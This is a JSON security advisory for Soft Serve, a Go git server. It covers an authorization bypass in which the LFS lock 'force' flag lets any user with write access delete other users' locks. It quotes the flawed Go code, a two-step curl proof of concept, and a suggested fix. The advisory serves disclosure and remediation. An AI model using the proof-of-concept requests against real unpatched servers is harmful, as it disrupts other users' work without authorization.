{"schema_version":"1.7.3","id":"GHSA-6jm8-x3g6-r33j","published":"2026-01-08T21:01:54Z","modified":"2026-02-03T03:15:16.159865Z","aliases":["CVE-2026-22253","GO-2026-4290"],"summary":"Soft Serve is missing an authorization check in LFS lock deletion","details":"## LFS Lock Force-Delete Authorization Bypass\n\n### Summary\n\nAn authorization bypass in the LFS lock deletion endpoint allows any authenticated user with repository write access to delete locks owned by other users by setting the `force` flag. The vulnerable code path processes force deletions before retrieving user context, bypassing ownership validation entirely.\n\n### Severity\n\n- **CWE-863:** Incorrect Authorization\n- **CVSS 3.1:** 5.4 (Medium) — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L`\n\n### Affected Code\n\n**File:** `pkg/web/git_lfs.go`\n**Function:** `serviceLfsLocksDelete` (lines 831–945)\n**Endpoint:** `POST /<repo>.git/info/lfs/locks/:lockID/unlock`\n\nThe control flow processes `req.Force` at line 905 before retrieving user context at line 919:\n\n```go\n// Line 905-916: Force delete executes immediately without authorization\nif req.Force {\n    if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil {\n        // ...\n    }\n    renderJSON(w, http.StatusOK, l)\n    return  // Returns here, never reaching user validation\n}\n\n// Line 919: User context retrieved after force path has exited\nuser := proto.UserFromContext(ctx)\n```\n\n### Proof of Concept\n\n**Setup:** Two users with write access to the same repository—User A (lock owner) and User B (attacker).\n\n1. **User A creates a lock:**\n   ```bash\n   curl -X POST http://localhost:23232/repo.git/info/lfs/locks \\\n     -H \"Authorization: Basic <user_a_token>\" \\\n     -H \"Content-Type: application/vnd.git-lfs+json\" \\\n     -d '{\"path\": \"protected-file.bin\"}'\n   ```\n\n2. **User B deletes User A's lock using force flag:**\n   ```bash\n   curl -X POST http://localhost:23232/repo.git/info/lfs/locks/1/unlock \\\n     -H \"Authorization: Basic <user_b_token>\" \\\n     -H \"Content-Type: application/vnd.git-lfs+json\" \\\n     -d '{\"force\": true}'\n   ```\n\n3. **Result:** Lock deleted successfully with `200 OK`. Expected: `403 Forbidden`.\n\n### Suggested Fix\n\nRetrieve user context and validate authorization before processing the force flag:\n\n```go\nuser := proto.UserFromContext(ctx)\nif user == nil {\n    renderJSON(w, http.StatusUnauthorized, lfs.ErrorResponse{\n        Message: \"unauthorized\",\n    })\n    return\n}\n\nif req.Force {\n    if !user.IsAdmin() {\n        renderJSON(w, http.StatusForbidden, lfs.ErrorResponse{\n            Message: \"admin access required for force delete\",\n        })\n        return\n    }\n    if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil {\n        // ...\n    }\n    renderJSON(w, http.StatusOK, l)\n    return\n}\n```\n\n### Impact\n\n**Affected Deployments:** Soft Serve instances with LFS enabled and repositories with multiple collaborators.\n\n**Exploitation Requirements:**\n- Authenticated session\n- Write access to target repository\n\n**Consequences:**\n- Unauthorized deletion of other users' locks\n- Bypass of LFS file coordination mechanisms\n- Potential workflow disruption in collaborative environments\n\n**Limitations:** Does not grant file access, escalate repository permissions, or affect repositories where the attacker lacks write access.","affected":[{"package":{"name":"github.com/charmbracelet/soft-serve","ecosystem":"Go","purl":"pkg:golang/github.com/charmbracelet/soft-serve"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.11.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-6jm8-x3g6-r33j/GHSA-6jm8-x3g6-r33j.json"}}],"references":[{"type":"WEB","url":"https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-6jm8-x3g6-r33j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22253"},{"type":"WEB","url":"https://github.com/charmbracelet/soft-serve/commit/000ab5164f0be68cf1ea6b6e7227f11c0e388a42"},{"type":"PACKAGE","url":"https://github.com/charmbracelet/soft-serve"}],"database_specific":{"cwe_ids":["CWE-863"],"github_reviewed":true,"github_reviewed_at":"2026-01-08T21:01:54Z","nvd_published_at":"2026-01-08T19:15:59Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"}]}